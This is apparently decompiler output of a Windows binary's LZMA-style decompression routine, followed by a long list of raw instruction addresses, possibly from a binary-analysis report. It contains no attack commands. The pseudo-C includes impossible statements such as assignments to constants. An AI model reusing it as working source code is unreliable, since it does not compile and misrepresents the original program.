                                                    											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                    											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                    											__ecx =  *(__ebp - 0x58);
                                                    											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                    											 *(__ebp - 0x48) = __eax;
                                                    											__eax = __eax + 1;
                                                    											__eax = __eax << 8;
                                                    											__eax = __eax + __ebx;
                                                    											__esi =  *(__ebp - 0x58) + __eax * 2;
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    											__ax =  *__esi;
                                                    											 *(__ebp - 0x54) = __esi;
                                                    											__edx = __ax & 0x0000ffff;
                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    												__cx = __ax;
                                                    												 *(__ebp - 0x40) = 1;
                                                    												__cx = __ax >> 5;
                                                    												__eflags = __eax;
                                                    												__ebx = __ebx + __ebx + 1;
                                                    												 *__esi = __ax;
                                                    											} else {
                                                    												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                    												 *(__ebp - 0x10) = __ecx;
                                                    												0x800 = 0x800 - __edx;
                                                    												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                    												__ebx = __ebx + __ebx;
                                                    												 *__esi = __cx;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    											 *(__ebp - 0x44) = __ebx;
                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                    												goto L39;
                                                    											} else {
                                                    												goto L37;
                                                    											}
                                                    										case 0xe:
                                                    											L46:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xe;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t156 = __ebp - 0x70;
                                                    											 *_t156 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t156;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											while(1) {
                                                    												L48:
                                                    												__eflags = __ebx - 0x100;
                                                    												if(__ebx >= 0x100) {
                                                    													break;
                                                    												}
                                                    												__eax =  *(__ebp - 0x58);
                                                    												__edx = __ebx + __ebx;
                                                    												__ecx =  *(__ebp - 0x10);
                                                    												__esi = __edx + __eax;
                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    												__ax =  *__esi;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__edi = __ax & 0x0000ffff;
                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													_t170 = __edx + 1; // 0x1
                                                    													__ebx = _t170;
                                                    													__cx = __ax >> 5;
                                                    													__eflags = __eax;
                                                    													 *__esi = __ax;
                                                    												} else {
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edi;
                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    													__ebx = __ebx + __ebx;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													continue;
                                                    												} else {
                                                    													goto L46;
                                                    												}
                                                    											}
                                                    											L54:
                                                    											_t173 = __ebp - 0x34;
                                                    											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                    											__eflags =  *_t173;
                                                    											goto L55;
                                                    										case 0xf:
                                                    											L58:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xf;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t203 = __ebp - 0x70;
                                                    											 *_t203 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t203;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											L60:
                                                    											__eflags = __ebx - 0x100;
                                                    											if(__ebx >= 0x100) {
                                                    												L55:
                                                    												__al =  *(__ebp - 0x44);
                                                    												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                    												goto L56;
                                                    											}
                                                    											L61:
                                                    											__eax =  *(__ebp - 0x58);
                                                    											__edx = __ebx + __ebx;
                                                    											__ecx =  *(__ebp - 0x10);
                                                    											__esi = __edx + __eax;
                                                    											__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    											__ax =  *__esi;
                                                    											 *(__ebp - 0x54) = __esi;
                                                    											__edi = __ax & 0x0000ffff;
                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    												__cx = __ax;
                                                    												_t217 = __edx + 1; // 0x1
                                                    												__ebx = _t217;
                                                    												__cx = __ax >> 5;
                                                    												__eflags = __eax;
                                                    												 *__esi = __ax;
                                                    											} else {
                                                    												 *(__ebp - 0x10) = __ecx;
                                                    												0x800 = 0x800 - __edi;
                                                    												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    												__ebx = __ebx + __ebx;
                                                    												 *__esi = __cx;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    											 *(__ebp - 0x44) = __ebx;
                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                    												goto L60;
                                                    											} else {
                                                    												goto L58;
                                                    											}
                                                    										case 0x10:
                                                    											L110:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0x10;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t366 = __ebp - 0x70;
                                                    											 *_t366 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t366;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											goto L112;
                                                    										case 0x11:
                                                    											L69:
                                                    											__esi =  *(__ebp - 0x58);
                                                    											 *(__ebp - 0x84) = 0x12;
                                                    											L132:
                                                    											 *(_t612 - 0x54) = _t605;
                                                    											goto L133;
                                                    										case 0x12:
                                                    											goto L0;
                                                    										case 0x13:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												_t469 = __ebp - 0x58;
                                                    												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                    												__eflags =  *_t469;
                                                    												 *(__ebp - 0x30) = 0x10;
                                                    												 *(__ebp - 0x40) = 8;
                                                    												goto L144;
                                                    											}
                                                    											__eax =  *(__ebp - 0x4c);
                                                    											__ecx =  *(__ebp - 0x58);
                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                    											 *(__ebp - 0x30) = 8;
                                                    											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                    											goto L130;
                                                    										case 0x14:
                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                    											__eax =  *(__ebp - 0x80);
                                                    											L140:
                                                    											 *(_t612 - 0x88) = _t533;
                                                    											goto L1;
                                                    										case 0x15:
                                                    											__eax = 0;
                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                    											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    											__al = __al & 0x000000fd;
                                                    											__eax = (__eflags >= 0) - 1 + 0xb;
                                                    											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                    											goto L121;
                                                    										case 0x16:
                                                    											__eax =  *(__ebp - 0x30);
                                                    											__eflags = __eax - 4;
                                                    											if(__eax >= 4) {
                                                    												_push(3);
                                                    												_pop(__eax);
                                                    											}
                                                    											__ecx =  *(__ebp - 4);
                                                    											 *(__ebp - 0x40) = 6;
                                                    											__eax = __eax << 7;
                                                    											 *(__ebp - 0x7c) = 0x19;
                                                    											 *(__ebp - 0x58) = __eax;
                                                    											goto L145;
                                                    										case 0x17:
                                                    											goto L145;
                                                    										case 0x18:
                                                    											L146:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0x18;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t484 = __ebp - 0x70;
                                                    											 *_t484 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t484;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											L148:
                                                    											_t487 = __ebp - 0x48;
                                                    											 *_t487 =  *(__ebp - 0x48) - 1;
                                                    											__eflags =  *_t487;
                                                    											goto L149;
                                                    										case 0x19:
                                                    											__eflags = __ebx - 4;
                                                    											if(__ebx < 4) {
                                                    												 *(__ebp - 0x2c) = __ebx;
                                                    												L120:
                                                    												_t394 = __ebp - 0x2c;
                                                    												 *_t394 =  *(__ebp - 0x2c) + 1;
                                                    												__eflags =  *_t394;
                                                    												L121:
                                                    												__eax =  *(__ebp - 0x2c);
                                                    												__eflags = __eax;
                                                    												if(__eax == 0) {
                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                    													goto L170;
                                                    												}
                                                    												__eflags = __eax -  *(__ebp - 0x60);
                                                    												if(__eax >  *(__ebp - 0x60)) {
                                                    													goto L171;
                                                    												}
                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                    												__eax =  *(__ebp - 0x30);
                                                    												_t401 = __ebp - 0x60;
                                                    												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                    												__eflags =  *_t401;
                                                    												goto L124;
                                                    											}
                                                    											__ecx = __ebx;
                                                    											__eax = __ebx;
                                                    											__ecx = __ebx >> 1;
                                                    											__eax = __ebx & 0x00000001;
                                                    											__ecx = (__ebx >> 1) - 1;
                                                    											__al = __al | 0x00000002;
                                                    											__eax = (__ebx & 0x00000001) << __cl;
                                                    											__eflags = __ebx - 0xe;
                                                    											 *(__ebp - 0x2c) = __eax;
                                                    											if(__ebx >= 0xe) {
                                                    												__ebx = 0;
                                                    												 *(__ebp - 0x48) = __ecx;
                                                    												L103:
                                                    												__eflags =  *(__ebp - 0x48);
                                                    												if( *(__ebp - 0x48) <= 0) {
                                                    													__eax = __eax + __ebx;
                                                    													 *(__ebp - 0x40) = 4;
                                                    													 *(__ebp - 0x2c) = __eax;
                                                    													__eax =  *(__ebp - 4);
                                                    													__eax =  *(__ebp - 4) + 0x644;
                                                    													__eflags = __eax;
                                                    													L109:
                                                    													__ebx = 0;
                                                    													 *(__ebp - 0x58) = __eax;
                                                    													 *(__ebp - 0x50) = 1;
                                                    													 *(__ebp - 0x44) = 0;
                                                    													 *(__ebp - 0x48) = 0;
                                                    													L113:
                                                    													__eax =  *(__ebp - 0x40);
                                                    													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                    														_t392 = __ebp - 0x2c;
                                                    														 *_t392 =  *(__ebp - 0x2c) + __ebx;
                                                    														__eflags =  *_t392;
                                                    														goto L120;
                                                    													}
                                                    													__eax =  *(__ebp - 0x50);
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    													__eax =  *(__ebp - 0x58);
                                                    													__esi = __edi + __eax;
                                                    													 *(__ebp - 0x54) = __esi;
                                                    													__ax =  *__esi;
                                                    													__ecx = __ax & 0x0000ffff;
                                                    													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                    													__eflags =  *(__ebp - 0xc) - __edx;
                                                    													if( *(__ebp - 0xc) >= __edx) {
                                                    														__ecx = 0;
                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                    														__ecx = 1;
                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                    														__ebx = 1;
                                                    														__ecx =  *(__ebp - 0x48);
                                                    														__ebx = 1 << __cl;
                                                    														__ecx = 1 << __cl;
                                                    														__ebx =  *(__ebp - 0x44);
                                                    														__ebx =  *(__ebp - 0x44) | __ecx;
                                                    														__cx = __ax;
                                                    														__cx = __ax >> 5;
                                                    														__eax = __eax - __ecx;
                                                    														__edi = __edi + 1;
                                                    														__eflags = __edi;
                                                    														 *(__ebp - 0x44) = __ebx;
                                                    														 *__esi = __ax;
                                                    														 *(__ebp - 0x50) = __edi;
                                                    													} else {
                                                    														 *(__ebp - 0x10) = __edx;
                                                    														0x800 = 0x800 - __ecx;
                                                    														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                    														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    														 *__esi = __dx;
                                                    													}
                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                    														L112:
                                                    														_t369 = __ebp - 0x48;
                                                    														 *_t369 =  *(__ebp - 0x48) + 1;
                                                    														__eflags =  *_t369;
                                                    														goto L113;
                                                    													} else {
                                                    														goto L110;
                                                    													}
                                                    												}
                                                    												__ecx =  *(__ebp - 0xc);
                                                    												__ebx = __ebx + __ebx;
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                    												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                    													__ecx =  *(__ebp - 0x10);
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    													__ebx = __ebx | 0x00000001;
                                                    													__eflags = __ebx;
                                                    													 *(__ebp - 0x44) = __ebx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													L102:
                                                    													_t339 = __ebp - 0x48;
                                                    													 *_t339 =  *(__ebp - 0x48) - 1;
                                                    													__eflags =  *_t339;
                                                    													goto L103;
                                                    												} else {
                                                    													goto L100;
                                                    												}
                                                    											}
                                                    											__edx =  *(__ebp - 4);
                                                    											__eax = __eax - __ebx;
                                                    											 *(__ebp - 0x40) = __ecx;
                                                    											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                    											goto L109;
                                                    										case 0x1a:
                                                    											L56:
                                                    											__eflags =  *(__ebp - 0x64);
                                                    											if( *(__ebp - 0x64) == 0) {
                                                    												 *(__ebp - 0x88) = 0x1a;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x68);
                                                    											__al =  *(__ebp - 0x5c);
                                                    											__edx =  *(__ebp - 8);
                                                    											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    											 *( *(__ebp - 0x68)) = __al;
                                                    											__ecx =  *(__ebp - 0x14);
                                                    											 *(__ecx +  *(__ebp - 8)) = __al;
                                                    											__eax = __ecx + 1;
                                                    											__edx = 0;
                                                    											_t192 = __eax %  *(__ebp - 0x74);
                                                    											__eax = __eax /  *(__ebp - 0x74);
                                                    											__edx = _t192;
                                                    											goto L80;
                                                    										case 0x1b:
                                                    											L76:
                                                    											__eflags =  *(__ebp - 0x64);
                                                    											if( *(__ebp - 0x64) == 0) {
                                                    												 *(__ebp - 0x88) = 0x1b;
                                                    												goto L170;
                                                    											}
                                                    											__eax =  *(__ebp - 0x14);
                                                    											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    											__eflags = __eax -  *(__ebp - 0x74);
                                                    											if(__eax >=  *(__ebp - 0x74)) {
                                                    												__eax = __eax +  *(__ebp - 0x74);
                                                    												__eflags = __eax;
                                                    											}
                                                    											__edx =  *(__ebp - 8);
                                                    											__cl =  *(__eax + __edx);
                                                    											__eax =  *(__ebp - 0x14);
                                                    											 *(__ebp - 0x5c) = __cl;
                                                    											 *(__eax + __edx) = __cl;
                                                    											__eax = __eax + 1;
                                                    											__edx = 0;
                                                    											_t275 = __eax %  *(__ebp - 0x74);
                                                    											__eax = __eax /  *(__ebp - 0x74);
                                                    											__edx = _t275;
                                                    											__eax =  *(__ebp - 0x68);
                                                    											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    											_t284 = __ebp - 0x64;
                                                    											 *_t284 =  *(__ebp - 0x64) - 1;
                                                    											__eflags =  *_t284;
                                                    											 *( *(__ebp - 0x68)) = __cl;
                                                    											L80:
                                                    											 *(__ebp - 0x14) = __edx;
                                                    											goto L81;
                                                    										case 0x1c:
                                                    											while(1) {
                                                    												L124:
                                                    												__eflags =  *(__ebp - 0x64);
                                                    												if( *(__ebp - 0x64) == 0) {
                                                    													break;
                                                    												}
                                                    												__eax =  *(__ebp - 0x14);
                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                    													__eflags = __eax;
                                                    												}
                                                    												__edx =  *(__ebp - 8);
                                                    												__cl =  *(__eax + __edx);
                                                    												__eax =  *(__ebp - 0x14);
                                                    												 *(__ebp - 0x5c) = __cl;
                                                    												 *(__eax + __edx) = __cl;
                                                    												__eax = __eax + 1;
                                                    												__edx = 0;
                                                    												_t415 = __eax %  *(__ebp - 0x74);
                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                    												__edx = _t415;
                                                    												__eax =  *(__ebp - 0x68);
                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                    												__eflags =  *(__ebp - 0x30);
                                                    												 *( *(__ebp - 0x68)) = __cl;
                                                    												 *(__ebp - 0x14) = _t415;
                                                    												if( *(__ebp - 0x30) > 0) {
                                                    													continue;
                                                    												} else {
                                                    													L81:
                                                    													 *(__ebp - 0x88) = 2;
                                                    													goto L1;
                                                    												}
                                                    											}
                                                    											 *(__ebp - 0x88) = 0x1c;
                                                    											L170:
                                                    											_push(0x22);
                                                    											_pop(_t567);
                                                    											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
                                                    											_t535 = 0;
                                                    											L172:
                                                    											return _t535;
                                                    									}
                                                    								}
                                                    								L171:
                                                    								_t535 = _t534 | 0xffffffff;
                                                    								goto L172;
                                                    							}
                                                    						}
                                                    						__eax =  *(__ebp - 0x50);
                                                    						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    						__eax =  *(__ebp - 0x58);
                                                    						__esi = __edx + __eax;
                                                    						 *(__ebp - 0x54) = __esi;
                                                    						__ax =  *__esi;
                                                    						__edi = __ax & 0x0000ffff;
                                                    						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    						if( *(__ebp - 0xc) >= __ecx) {
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    							__cx = __ax;
                                                    							__cx = __ax >> 5;
                                                    							__eax = __eax - __ecx;
                                                    							__edx = __edx + 1;
                                                    							 *__esi = __ax;
                                                    							 *(__ebp - 0x50) = __edx;
                                                    						} else {
                                                    							 *(__ebp - 0x10) = __ecx;
                                                    							0x800 = 0x800 - __edi;
                                                    							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    							 *__esi = __cx;
                                                    						}
                                                    						if( *(__ebp - 0x10) >= 0x1000000) {
                                                    							goto L148;
                                                    						} else {
                                                    							goto L146;
                                                    						}
                                                    					}
                                                    					goto L1;
                                                    				}
                                                    			}








                                                    0x00000000
                                                    0x00407395
                                                    0x00407395
                                                    0x00407399
                                                    0x004073be
                                                    0x004073c8
                                                    0x00000000
                                                    0x0040739b
                                                    0x0040739b
                                                    0x0040739e
                                                    0x004073a2
                                                    0x004073a5
                                                    0x004073a8
                                                    0x004073ac
                                                    0x004073ac
                                                    0x004073af
                                                    0x00407489
                                                    0x00407489
                                                    0x00407490
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x004074c7
                                                    0x004074cb
                                                    0x0040752b
                                                    0x0040752e
                                                    0x00407533
                                                    0x00407534
                                                    0x00407536
                                                    0x00407538
                                                    0x0040753b
                                                    0x00407447
                                                    0x00407447
                                                    0x00407447
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406bec
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x00000000
                                                    0x00406bfd
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c06
                                                    0x00406c09
                                                    0x00406c0c
                                                    0x00406c10
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c16
                                                    0x00406c19
                                                    0x00406c1b
                                                    0x00406c1c
                                                    0x00406c1f
                                                    0x00406c21
                                                    0x00406c22
                                                    0x00406c24
                                                    0x00406c27
                                                    0x00406c2c
                                                    0x00406c31
                                                    0x00406c3a
                                                    0x00406c4d
                                                    0x00406c50
                                                    0x00406c5c
                                                    0x00406c84
                                                    0x00406c86
                                                    0x00406c94
                                                    0x00406c94
                                                    0x00406c98
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c88
                                                    0x00406c8b
                                                    0x00406c8c
                                                    0x00406c8c
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c62
                                                    0x00406c67
                                                    0x00406c67
                                                    0x00406c70
                                                    0x00406c78
                                                    0x00406c7b
                                                    0x00000000
                                                    0x00406c81
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c9e
                                                    0x00406c9e
                                                    0x00406ca2
                                                    0x0040754e
                                                    0x00000000
                                                    0x0040754e
                                                    0x00406cab
                                                    0x00406cbb
                                                    0x00406cbe
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc4
                                                    0x00406cc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00406cca
                                                    0x00406cd0
                                                    0x00406cfa
                                                    0x00406d00
                                                    0x00406d07
                                                    0x00000000
                                                    0x00406d07
                                                    0x00406cd6
                                                    0x00406cd9
                                                    0x00406cde
                                                    0x00406cde
                                                    0x00406ce9
                                                    0x00406cf1
                                                    0x00406cf4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d39
                                                    0x00406d3f
                                                    0x00406d42
                                                    0x00406d4f
                                                    0x00406d57
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d0e
                                                    0x00406d0e
                                                    0x00406d12
                                                    0x0040755d
                                                    0x00000000
                                                    0x0040755d
                                                    0x00406d1e
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d2c
                                                    0x00406d2f
                                                    0x00406d32
                                                    0x00406d37
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x0040741a
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040741c
                                                    0x00407420
                                                    0x004075cf
                                                    0x00000000
                                                    0x004075cf
                                                    0x0040742c
                                                    0x00407433
                                                    0x0040743b
                                                    0x0040743e
                                                    0x00407441
                                                    0x00407441
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d5f
                                                    0x00406d61
                                                    0x00406d64
                                                    0x00406dd5
                                                    0x00406dd8
                                                    0x00406ddb
                                                    0x00406de2
                                                    0x00406dec
                                                    0x00000000
                                                    0x00406dec
                                                    0x00406d66
                                                    0x00406d6a
                                                    0x00406d6d
                                                    0x00406d6f
                                                    0x00406d72
                                                    0x00406d75
                                                    0x00406d77
                                                    0x00406d7a
                                                    0x00406d7c
                                                    0x00406d81
                                                    0x00406d84
                                                    0x00406d87
                                                    0x00406d8b
                                                    0x00406d92
                                                    0x00406d95
                                                    0x00406d9c
                                                    0x00406da0
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406dac
                                                    0x00406daf
                                                    0x00406dcd
                                                    0x00406dcf
                                                    0x00000000
                                                    0x00406db1
                                                    0x00406db1
                                                    0x00406db4
                                                    0x00406db7
                                                    0x00406dba
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbf
                                                    0x00406dc2
                                                    0x00406dc4
                                                    0x00406dc5
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406ffe
                                                    0x00407002
                                                    0x00407020
                                                    0x00407023
                                                    0x0040702a
                                                    0x0040702d
                                                    0x00407030
                                                    0x00407033
                                                    0x00407036
                                                    0x00407039
                                                    0x0040703b
                                                    0x00407042
                                                    0x00407043
                                                    0x00407045
                                                    0x00407048
                                                    0x0040704b
                                                    0x0040704e
                                                    0x0040704e
                                                    0x00407053
                                                    0x00000000
                                                    0x00407053
                                                    0x00407004
                                                    0x00407007
                                                    0x0040700a
                                                    0x00407014
                                                    0x00000000
                                                    0x00000000
                                                    0x00407068
                                                    0x0040706c
                                                    0x0040708f
                                                    0x00407092
                                                    0x00407095
                                                    0x0040709f
                                                    0x0040706e
                                                    0x0040706e
                                                    0x00407071
                                                    0x00407074
                                                    0x00407077
                                                    0x00407084
                                                    0x00407087
                                                    0x00407087
                                                    0x00000000
                                                    0x00000000
                                                    0x004070ab
                                                    0x004070af
                                                    0x00000000
                                                    0x00000000
                                                    0x004070b5
                                                    0x004070b9
                                                    0x00000000
                                                    0x00000000
                                                    0x004070bf
                                                    0x004070c1
                                                    0x004070c5
                                                    0x004070c5
                                                    0x004070c8
                                                    0x004070cc
                                                    0x00000000
                                                    0x00000000
                                                    0x0040711c
                                                    0x00407120
                                                    0x00407127
                                                    0x0040712a
                                                    0x0040712d
                                                    0x00407137
                                                    0x00000000
                                                    0x00407137
                                                    0x00407122
                                                    0x00000000
                                                    0x00000000
                                                    0x00407143
